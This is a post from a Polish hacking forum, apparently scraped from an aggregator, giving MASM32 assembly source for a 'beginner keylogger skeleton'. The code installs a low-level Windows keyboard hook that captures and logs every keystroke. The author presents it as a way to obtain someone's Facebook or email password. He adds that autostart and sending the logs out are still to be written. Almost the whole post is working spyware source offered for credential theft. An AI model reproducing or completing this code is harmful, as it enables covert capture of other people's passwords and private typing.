Quantcast
Channel: HAKER - Forum Komputerowe
Viewing all articles
Browse latest Browse all 4549

Szkielet keyloggera dla początkujących

$
0
0
Keylogger monitoruje i loguje znaki wpisywane na klawiaturze. Można go użyć do zdobycia hasła facebook lub mail.

Dla początkujących przedstawiam kod, który loguje wciskane klawisze:
Kod:

.386
.model        flat, stdcall
option        casemap :none

include                bones.inc

.code
start:
        invoke        GetModuleHandle, NULL
        mov        hInstance, eax
        invoke        InitCommonControls
        invoke        DialogBoxParam, hInstance, IDD_MAIN, 0, offset DlgProc, 0
        invoke        ExitProcess, eax
       
KeyBoardProc proc nCode:DWORD, wParam:DWORD, lParam:DWORD
        LOCAL        lpKeyState[256]        :BYTE
    ;LOCAL  lpClassName[64]        :BYTE
        LOCAL        lpCharBuf[32]        :BYTE
    ;LOCAL  lpDateBuf[12]        :BYTE
    ;LOCAL  lpTimeBuf[12]        :BYTE
    ;LOCAL  lpLocalTime        :SYSTEMTIME
        ;----------------------------

        lea        edi, [lpKeyState]
        push        256/4
        pop        ecx
        xor        eax, eax
        rep        stosd

        mov        eax, wParam
        cmp        eax, WM_KEYDOWN
        je        next_hook

        cmp        eax, WM_SYSKEYDOWN
        je        next_hook

no_window_change:
        mov        esi, [lParam]
        lodsd
       
        cmp        al, VK_LCONTROL
        je        next_hook
        cmp        al, VK_RMENU
        je        next_hook
        cmp        al, VK_LSHIFT
        je        next_hook
        cmp        al, VK_RSHIFT
        je        next_hook
        cmp        al, VK_CAPITAL
        je        next_hook
        cmp        al, VK_ESCAPE
        je        get_name_of_key
        cmp        al, VK_BACK
        je        get_name_of_key
        cmp        al, VK_TAB
        je        get_name_of_key
        ;------------------
        lea        edi, [lpCharBuf]
        push        32/4
        pop        ecx
        xor        eax, eax
        rep        stosd
        ;----------

        lea                ebx, [lpKeyState]
        push        ebx
        call        GetKeyboardState

        invoke        GetAsyncKeyState, VK_LSHIFT
        xchg        esi, eax

        invoke        GetAsyncKeyState, VK_RSHIFT
        or                eax, esi                                ; al == 1 if either key is DOWN

        mov                byte ptr [ebx + 16], al ; toggle a shift key to on/off

        invoke        GetAsyncKeyState, VK_CAPITAL
        mov                byte ptr [ebx + 20], al ; toggle caps lock to on/off

        mov                esi, [lParam]
        lea                edi, [lpCharBuf]
        push        00h
        push        edi
        push        ebx
        lodsd
        xchg        eax, edx
        lodsd
        push        eax
        push        edx
        call        ToAscii
        test        eax, eax
        jnz                test_carriage_return
       
get_name_of_key:
        mov                esi, [lParam]
        lodsd
        lodsd
        shl                eax, 16
        xchg        eax, ecx
        lodsd
        shl                eax, 24
        or                ecx, eax

        push        32
        lea                edi, [lpCharBuf]
        push        edi
        push        ecx
        call        GetKeyNameTextA

        jmp                write_to_screen

test_carriage_return:

        cmp        byte ptr [edi], 0Dh
        jne        write_to_screen

        mov        byte ptr [edi + 1], 0Ah
write_to_screen:
        invoke  lstrcat, addr szLog, edi
        invoke        SetDlgItemText, hWnd, 1003, addr szLog

next_hook:
        invoke        CallNextHookEx, hHook, nCode, wParam, lParam
        ret

KeyBoardProc endp

DlgProc proc hWin:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD
        mov        eax,uMsg
       
        .if        eax == WM_INITDIALOG
                push hWin
                pop  hWnd
        .elseif eax == WM_COMMAND
                mov        eax,wParam
                .if        eax == 1001
                        invoke GetModuleHandle, NULL
                        invoke        SetWindowsHookExA, WH_KEYBOARD_LL, addr KeyBoardProc, eax, 0
                        mov        [hHook], eax
                .elseif eax == 1002
                        invoke        UnhookWindowsHookEx, hHook
                .endif
        .elseif        eax == WM_CLOSE
                invoke        UnhookWindowsHookEx, hHook
                invoke        EndDialog, hWin, 0
        .endif

        xor        eax,eax
        ret
DlgProc endp

end start

Pozostaje dopisać autostart i wysyłanie logów. Myslę jednak, że ten kod jest dobry, żeby mieć od czego zacząć programowanie.

Użyłem asemblera MASM32 i środowiska WinAsm.

Viewing all articles
Browse latest Browse all 4549

Trending Articles


TRX Antek AVT - 2310 ver 2,0


Автовишка HAULOTTE HA 16 SPX


POTANIACZ


Zrób Sam - rocznik 1985 [PDF] [PL]


Maxgear opinie


BMW E61 2.5d błąd 43E2 - klapa gasząca a DPF


Eveline ➤ Matowe pomadki Velvet Matt Lipstick 500, 506, 5007


Auta / Cars (2006) PLDUB.BRRip.480p.XviD.AC3-LTN / DUBBING PL


Peugeot 508 problem z elektroniką


AŚ Jelenia Góra